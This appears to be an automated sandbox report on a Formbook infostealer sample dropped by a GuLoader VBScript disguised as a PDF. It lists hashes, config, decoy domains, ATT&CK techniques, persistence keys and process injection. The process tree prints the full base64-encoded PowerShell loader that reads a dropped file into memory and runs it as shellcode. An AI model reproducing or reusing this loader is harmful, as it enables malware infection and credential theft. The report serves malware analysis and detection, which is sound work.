formbook | 354529cf4cd5498c64a0c69c6dd9eb8962250542eea7f89a76faf64f5086da35

Analysis

max time kernel
154s
max time network
133s
platform
windows7_x64
resource
win7-en-20211208
submitted
21-01-2022 14:24

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Report Analysis Logs

General

Target

Wire-84844663637346665.PDF.vbs
Size

75KB
MD5

2eb1625e8d4e3f9b19ab947d188d0be8
SHA1

7aad4e8d8f521d1c36a7468418047c8a5751b7e9
SHA256

354529cf4cd5498c64a0c69c6dd9eb8962250542eea7f89a76faf64f5086da35
SHA512

7e2f8553d3375d1cfe0132a3abe854a1457f08c1f3c6bfbe730c044fec1a127f3a9405c59b1f620f91ea76b7eb7d68fce78058b68f4a69437d2e08b0879ad517

Score

10^/10

formbook guloader ty13 downloader persistence rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

ty13

Decoy

renatocarrion.com

inadmaa.email

dgsgamer.com

scentsofhome.com

vimeghbrandshop.online

seaxneat.com

10448se147thave.com

msewy.xyz

greekgolden.com

thinktosolve.com

darmadao.com

patriotproperties.info

erwsed.tech

iamanocelot.com

marketinginspiration4.biz

googleprog.com

nz34.com

xu6cotckdwbd.xyz

jimmychenchen.com

kntfashionstore.online

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/440-77-0x0000000000400000-0x000000000069B000-memory.dmp	formbook
behavioral1/memory/440-78-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/568-83-0x00000000000B0000-0x00000000000DF000-memory.dmp	formbook

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\DT8PFTBPRT = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	wscript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exeieinstal.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	wscript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ieinstal.exe

pid process

440 ieinstal.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeieinstal.exe

pid process

872 powershell.exe
440 ieinstal.exe

pid	process
440	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

description	pid	process	target process
PID 872 set thread context of 440	872	powershell.exe	ieinstal.exe
PID 440 set thread context of 1248	440	ieinstal.exe	Explorer.EXE
PID 568 set thread context of 1248	568	wscript.exe	Explorer.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

wscript.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	wscript.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid	process
872	powershell.exe
440	ieinstal.exe
440	ieinstal.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe
568	wscript.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

pid process

872 powershell.exe
440 ieinstal.exe
440 ieinstal.exe
440 ieinstal.exe
568 wscript.exe
568 wscript.exe
568 wscript.exe
568 wscript.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeieinstal.exewscript.exe

description pid process

Token: SeDebugPrivilege 872 powershell.exe
Token: SeDebugPrivilege 440 ieinstal.exe
Token: SeDebugPrivilege 568 wscript.exe

description	pid	process
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	440	ieinstal.exe
Token: SeDebugPrivilege	568	wscript.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

WScript.exepowershell.execsc.exeExplorer.EXEwscript.exe

description	pid	process	target process
PID 1672 wrote to memory of 872	1672	WScript.exe	powershell.exe
PID 1672 wrote to memory of 872	1672	WScript.exe	powershell.exe
PID 1672 wrote to memory of 872	1672	WScript.exe	powershell.exe
PID 1672 wrote to memory of 872	1672	WScript.exe	powershell.exe
PID 872 wrote to memory of 1872	872	powershell.exe	csc.exe
PID 872 wrote to memory of 1872	872	powershell.exe	csc.exe
PID 872 wrote to memory of 1872	872	powershell.exe	csc.exe
PID 872 wrote to memory of 1872	872	powershell.exe	csc.exe
PID 1872 wrote to memory of 892	1872	csc.exe	cvtres.exe
PID 1872 wrote to memory of 892	1872	csc.exe	cvtres.exe
PID 1872 wrote to memory of 892	1872	csc.exe	cvtres.exe
PID 1872 wrote to memory of 892	1872	csc.exe	cvtres.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 872 wrote to memory of 440	872	powershell.exe	ieinstal.exe
PID 1248 wrote to memory of 568	1248	Explorer.EXE	wscript.exe
PID 1248 wrote to memory of 568	1248	Explorer.EXE	wscript.exe
PID 1248 wrote to memory of 568	1248	Explorer.EXE	wscript.exe
PID 1248 wrote to memory of 568	1248	Explorer.EXE	wscript.exe
PID 568 wrote to memory of 1084	568	wscript.exe	Firefox.exe
PID 568 wrote to memory of 1084	568	wscript.exe	Firefox.exe
PID 568 wrote to memory of 1084	568	wscript.exe	Firefox.exe
PID 568 wrote to memory of 1084	568	wscript.exe	Firefox.exe
PID 568 wrote to memory of 1084	568	wscript.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:1248

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Wire-84844663637346665.PDF.vbs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBCAGEAYwBvAG4AZwAgAFMAbABlAHQAbgAgAEYARQBKAEwAUABMAEEAIABWAGkAbgBkAGYAbAA0ACAAZgBhAHIAYQAgAGEAcgB0AGUAcgAgAE8AdgBlAHIAYQByAG8AIABDAEkATgBFAE4ARQBHACAARABkAHMAbwBmAHIAZQByADEAIABCAFIASQBUAFQATABFAFAAQQAgAFMAZQBtAGkAYwBvAHIAbwBuACAAQgB1AG4AZABkAHkAcgBlADEAIABVAE4ATQBBAE4AQQBHACAAUgBJAEMATwBDAEgARQBUACAAaABlAG4AcgBlAGcAbgAgAEkAbgBkAGQAZQBsAGkAbgBnAGUAMQAgAFIATwBUAEEAVABJACAATwB2AGUAcgBmAG8AZAByAGUAcwAxACAAUQBVAEkARQBUACAAYQByAGEAYgBhAG4AIABJAE4ARABEACAAdQBiAGUAdABpAG0AZQAgAGEAawB0AGkAdgBpAHMAdAAgAHAAZQByAHQAdQByAGIAZgAgAEoAQQBHAEUAUgBFAE4AIABLAEkATABPAE0ARQBHAEEAIABBAGMAaABvAG4AZAByACAAQgBuAG4AZQAgAEMAbwBuAGcAcgBlAGcAMwAgAEIAUgBBAE4ARABFAE4AIABJAG4AZwBlAG4AaQByAHQAMgAgAFIAZQB2AG8AIABTAGMAaQByACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABIAGEAbgBkAGwAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAEgAYQBuAGQAbAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABOAE8ATgBNAEEATABJAEcALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAsAHIAZQBmACAASQBuAHQAMwAyACAASABhAG4AZABsACwAaQBuAHQAIABCAG8AcgBkAHMAawA2ACwAaQBuAHQAIABIAGEAbgBkAGwANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABEAEEAVQBHAEgAVABFAFIALAB1AGkAbgB0ACAAVABhAG4AegBhAG4AaQA1ACwAaQBuAHQAIABoAGEAYQBuACwAaQBuAHQAIABIAGEAbgBkAGwAMAAsAGkAbgB0ACAARgBhAGwAbABhAGMAaQBlAHMANQAsAGkAbgB0ACAAQgBHAEUAUgAsAGkAbgB0ACAAUQB1AGkAbgBxAHUAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAwACwAdQBpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgAxACwASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAAbQBlAHQAYQB0AGUAZwBuADMALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABtAGUAdABhAHQAZQBnAG4ANQAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADYALABpAG4AdAAgAG0AZQB0AGEAdABlAGcAbgA3ACwAaQBuAHQAIABtAGUAdABhAHQAZQBnAG4AOAAsAGkAbgB0ACAAbQBlAHQAYQB0AGUAZwBuADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAVgBlAGoAcgBmAG8AOQAgAGMAbABvAGMAawByAGEAIABMAEkATQBCACAATwB2AGUAcgBtADYAIABIAHkAcABlAHIAIABEAGkAcwBkAGEAaQBuACAAbgBvAG4AYwBvAG4AIAB0AG8AbABkAGEAdAB0AGUAcwAgAFMAdQBsAGMAYQAgAE8AcAByAGUAdABoAG8AbAAgAGgAbwBsAG8AYwBoAG8AcgBkAGEAIABLAG8AbgB0AHIAbwBsAGsAbwBtACAARgBpAGwAdABlAHIAIABCAGUAcgBnAG0AYQBuAG4AcwAgAEMATwBFAE4AVQBSAEkAIABEAEEARwBOACAAVQBEAFIASwBTAFMAVABSAEEAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGIAbABhAGEAbAB5AHMAZQBuAGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwB1AGcAbABlAHAAZQAxACIAIAANAAoAJABIAGEAbgBkAGwAMwA9ADAAOwANAAoAJABIAGEAbgBkAGwAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABIAGEAbgBkAGwAOAA9AFsASABhAG4AZABsADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQASABhAG4AZABsADMALAAwACwAWwByAGUAZgBdACQASABhAG4AZABsADkALAAxADIAMgA4ADgALAA2ADQAKQANAAoAIwBEAEUARgBJACAATgBvAG4AdAAyACAAbgBvAG4AYwBvAG4AcwB0ACAAbwB2AGUAcgB0AGUAbgBhAGMAIABpAGcAZAByAGEAcwBpAGwAbQBhACAAbABhAGEAbgB0AGEAZwBlAHIAZQAgAEEATQBQAEgATwBEAEEAIABHAEEATABFAEgAVQBTAFMASABBACAAUAByAGkAbQBvAHIAZABpAGEAaQAgAEEAdQB0AGUAbgB0ADUAIABWAGkAcwBjADcAIABDAG8AbAB1AG0AbgBpAHMAdABzACAAZgBvAHIAYgB5AHQAIABzAHAAcgByACAAUAB5AHIAZQB4AGkAYQAgAGIAbABhAHQAdABpAGYAIABrAHkAbABsAGkAbgBnAGUAaAAgAEwASQBWAEYAVQBMAEQAVABWACAAcwBoAGEAdAB0AGUAcgBpACAATQBBAEEATABTAFQATgBJAE4AIABTAGUAbQBpAHIAYQBkADUAIABGAG8AcgBzADUAIABJAE0ATQBJAFQASQBHAEEAQgBJACAASwBBAFAAQQBDACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBGAEUATQBIAFUATgAiACAADQAKACQASABhAG4AZABsADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAG0AeQBzAHQAZQAuAGQAYQB0ACIADQAKACMAUwB2AGkAbgBrAGUAcgBlAG4AZAAgAGQAdQBjAGgAZQBzACAAQgBqAGUAcgBnAG0AIABzAG8AYwBpAGEAbABkAGUAbQAgAEIAZQBsAG8AcwB0AG8AbQAgAEMAbwBoAG8AYgA1ACAAQQBSAEkAVABIAE0AIABQAG8AbAB5AGcAeQBuAGkAcwA3ACAAdAByAGEAbgBzAG0AaQBzAHMAaQAgAA0ACgAkAEgAYQBuAGQAbAA0AD0AWwBIAGEAbgBkAGwAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAEgAYQBuAGQAbAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAGQAZQByAGkAdgBlAHIAZQBuAGQAIABoAGUAYQB1AG0AZQBzAHIAYQB2ACAAYgB2AGUAcwB1ACAARgBBAEwARABFACAAUwBFAFIAVgBJAEMARQBLACAAVABSAEkARwBFACAARwBsAGEAbQBtAGUAbgAgAG0AZQBsAGkAbwBsAGEAdABpAGwAIABBAEsASwBPACAAQgBVAFAASAAgAFQAYQB4AGEAawByAHMAbABlACAARABpAHMAYwBvAHUAcgAxACAAVABhAGsAawBlAGsAOQAgAFQAUgBFAEUATABJAE4AIABCAEEARABMACAAZABlAGIAYQByAGsAZQAgAGsAZQBuAHQAbAAgAFMAcABhAG4AZABlACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgB0AGkAbAByAGEAYQAiACAADQAKACQASABhAG4AZABsADUAPQAwADsADQAKACMAQQBuAGEAbAB5AHMAZQB2AHIAIABKAEUAUgBTAEUAWQBLACAAdQBkAGIAZQBkAHIAZQBjACAAYgBpAHIAawBlACAAdgBhAG4AZAB0AHQAdQBrAHIAIABKAGUAbgBvAHAAOAAgAFAAZQByAGkAbgAxACAAdgBhAGEAYgBlAG4AYgByAHUAZwAgAEwAaQBjAGUAcABpADYAIABQAGEAdAByADQAIABoAHkAcABuAG8AdABpACAAQQBpAGwAcwB5AHQANAAgAFUAbgBuAGEAdQBzAGUAYQA0ACAARABlAHMAcABlADgAIABTAEkATgBVAE8AVQAgAEsAbwBuAGMAZQBuAHQAcgBhAHQANQAgAEcARQBOAEQAUgBJAFYAIABCAE8AUgBUAEYAIABBAG4AYQBiAG8AbgBnAHYANAAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBpAG4AZwBsAGUAcABsAGEAIgAgAA0ACgBbAEgAYQBuAGQAbAAxAF0AOgA6AFIAZQBhAGQARgBpAGwAZQAoACQASABhAG4AZABsADQALAAkAEgAYQBuAGQAbAAzACwAMgA2ADAAMgA2ACwAWwByAGUAZgBdACQASABhAG4AZABsADUALAAwACkADQAKACMAZAByAGEAbgBrAGUAcgBlAHMAZwAgAEQAaQBwAGgANQAgAHMAdQB0AHMAawBvAGUAbgAgAFIATwBQAEUAVABSAEkAQwBLACAAUwB0AGoAZQByAG4AZQBzADYAIABSAGEAbABsADgAIABGAGkAZgBmACAARAB1AG4AZAAgAG0AYgBlAGwAZgBhAGIAcgBpACAASABhAHUAbQBwAG8AdABhAG0AIABhAG0AbQBvACAAVQBNAEIARQBMAEwAVQBMAEEAIABTAHAAYQBsAGkAcgBjAGgAcgBpACAAVABoAHIAZQBlAGYAYQA1ACAARwBvAGEAZABzAHQAZQByAGIANAAgAEkAbgBlAHgAcAB1AG4AZwBlADgAIABDAGEAcgBuAGkAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMAQQBOAEkATwBVAFMAUgBBACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQAZQBhAHMAYQBmAHIAdQA1ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQARQBNAEkATABJAEMASABSAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAEwATwBUAE8ATgBOAEUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBJAFIASwBFACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAZgBmAG8AdAAzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAZQBkAGkAdgBpAHMAaQBvACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHUAawByAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBWAEEAUgBUAFMAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAdwBpAG4AZQBkAHUAbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAE8ATQBBAEQASQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAGkAYwBlAGcAcgBlAHYAZQByACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHEAYQBmAHQAbwBwAGwAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBVAG4AcgBlAGEAbABuAGUAOQAiACAADQAKAFsASABhAG4AZABsADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAEgAYQBuAGQAbAAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="
3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:872

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uejfjqdz.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4931.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4930.tmp"
5⤵
PID:892

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:440

C:\Windows\SysWOW64\wscript.exe
"C:\Windows\SysWOW64\wscript.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:568

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1084

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES4931.tmp
MD5
4c70b0d380b56851a22ed417bfaf5a60

SHA1
34245c1dde02c6f8312522dc96658e8288d84463

SHA256
ea2e0af3c017b68ce5f196188c334bbef6ff0aa0fa3b6fdf256522fe1c65a679

SHA512
37ee92383444c63e8505725c6d75212966dd37340771a731aa9750a13a1ac026ab2b2fddb372c6b194e84d8bfe084239a08db14335128cc82071526d1ceb233e

Download Submit
C:\Users\Admin\AppData\Local\Temp\myste.dat
MD5
b7a51df9fa975379cd0c8ebb06e4c9aa

SHA1
fd88dbf8ad8d28befa9ea1da48cfaff719867321

SHA256
4e24caf3042584cce2d363784f2f5353b57a86b3a482d8924ae25daba212502c

SHA512
0ae3237b03cddd4a8b992f563ec22f7e00847488744ccefaf52554162b1c8bb691a4ad68de7868ef05b09d57a570ef1d33940a5b8ccd6b0680979208f13e5d94

Download Submit
C:\Users\Admin\AppData\Local\Temp\uejfjqdz.dll
MD5
0a5fb37f401dd3fbc128fdc3877ecae9

SHA1
a4913065020992b4bd46e780584a5f3cf09df6b7

SHA256
553c6b194c73d04936a76291cf89ac1e7b6907f4079bd1a465e874a88ac8b010

SHA512
03db17724078066d1b2b9118f7b1ab2be42c9e0ef021cc338659ec170cf2e85ac2f30078cfccaf119d909c5a8267c789a163e962e0101079f2e9e61a89ccfe45

Download Submit
C:\Users\Admin\AppData\Local\Temp\uejfjqdz.pdb
MD5
b8abcc82e512ee41b677293ee47ef941

SHA1
e4b3fa53602687852c428de0d6675e7b71f6f100

SHA256
3014dfb0a9617d302e89375e3aa238b7ef7e29ef8984b6a9cdecab5da635db08

SHA512
d708788eb53c53738f6c95dfa004a50c316edc70db4aef9c20f441584637f22accad7c79fddb60071f64f886de123c072a6ece2f01e5e2a99da4a0792106b24f

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogim.jpeg
MD5
1b04fbe7973f17b5e3e0fb26d1c107e7

SHA1
51c36e3b610da8c0c0ff4d15c3c37fe80aa65555

SHA256
adb0953449dcf4682fe6fb272f1588a62bdd52d0347dc4365951c5d71959d238

SHA512
e5a6e0c8cf32668b3ab701e39a47fee08643bc9039a335c02726e88eec95866a7bc00bbe3c183c5186a83c6c790a701b25f798e9682025a373bdcd457e9837a1

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrf.ini
MD5
2f245469795b865bdd1b956c23d7893d

SHA1
6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

SHA256
1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

SHA512
909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogri.ini
MD5
d63a82e5d81e02e399090af26db0b9cb

SHA1
91d0014c8f54743bba141fd60c9d963f869d76c9

SHA256
eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

SHA512
38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

Download Submit
C:\Users\Admin\AppData\Roaming\O9P-4O7E\O9Plogrv.ini
MD5
ba3b6bc807d4f76794c4b81b09bb9ba5

SHA1
24cb89501f0212ff3095ecc0aba97dd563718fb1

SHA256
6eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507

SHA512
ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC4930.tmp
MD5
8d9d98fa302142c214c96074e971191d

SHA1
66ec2299e4deb0814e24a1ef95be4e11e86fb956

SHA256
398508675aef2a162eebf9ec1ebb240b5fc79eebf82ffbd82b47e00680bdbdcd

SHA512
e7828a6ea8702dd1b4585e7d2d414bde4eb1bbce76897303d2f5cee46ba8ad8382b08f834ddbda74557fc2ed94d468a30b090c71ec5e42b61f943761c1128097

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uejfjqdz.0.cs
MD5
56063e7808df0479a9609de80e1b9f58

SHA1
e91b058ef18df8bf200d09718c2f94652320be9a

SHA256
a5410108ea6f6870414f8e11d765587b22d75d20f0806e0113c1e1ce0d01fe28

SHA512
dae399a0fce1282ad28984466b7724c1cafa0dc7fee7c3bbd6d15f9c519e811021eec579e83cf7af35556322999ed67ada8baa03b0cad09d5e0faa1bc52207b8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uejfjqdz.cmdline
MD5
69cdfb2a87fae20c3825f7f58a3aaa3f

SHA1
95fa78b8fab610b2adc27514d3ece57534d3814b

SHA256
6fe2d9d256f048096b4aece1eaf1bba6cd064414865da49b5a064c50062acbb3

SHA512
7af6766324385aed354c95c7baee8d9609b8e7bfb5d3b69ae8e160920d0cd79e125a172f37a74583c4dafa0eaef88686d5fe716c4b1398cb90de787d8da48773

Download Submit
memory/440-79-0x000000001CC30000-0x000000001CF33000-memory.dmp

Filesize
3.0MB

Download
memory/440-76-0x0000000077250000-0x00000000773F9000-memory.dmp

Filesize
1.7MB

Download
memory/440-80-0x000000001BAF0000-0x000000001BB04000-memory.dmp

Filesize
80KB

Download
memory/440-70-0x0000000000170000-0x0000000000270000-memory.dmp

Filesize
1024KB

Download
memory/440-78-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/440-77-0x0000000000400000-0x000000000069B000-memory.dmp

Filesize
2.6MB

Download
memory/568-83-0x00000000000B0000-0x00000000000DF000-memory.dmp

Filesize
188KB

Download
memory/568-82-0x0000000000FB0000-0x0000000000FD6000-memory.dmp

Filesize
152KB

Download
memory/568-84-0x0000000000C80000-0x0000000000F83000-memory.dmp

Filesize
3.0MB

Download
memory/568-86-0x0000000000470000-0x0000000000503000-memory.dmp

Filesize
588KB

Download
memory/872-56-0x0000000002520000-0x000000000316A000-memory.dmp

Filesize
12.3MB

Download
memory/872-71-0x0000000077250000-0x00000000773F9000-memory.dmp

Filesize
1.7MB

Download
memory/872-67-0x0000000005A70000-0x0000000005B70000-memory.dmp

Filesize
1024KB

Download
memory/872-55-0x0000000075341000-0x0000000075343000-memory.dmp

Filesize
8KB

Download
memory/872-72-0x0000000077430000-0x00000000775B0000-memory.dmp

Filesize
1.5MB

Download
memory/872-58-0x0000000002520000-0x000000000316A000-memory.dmp

Filesize
12.3MB

Download
memory/872-57-0x0000000002520000-0x000000000316A000-memory.dmp

Filesize
12.3MB

Download
memory/1248-81-0x00000000061F0000-0x0000000006359000-memory.dmp

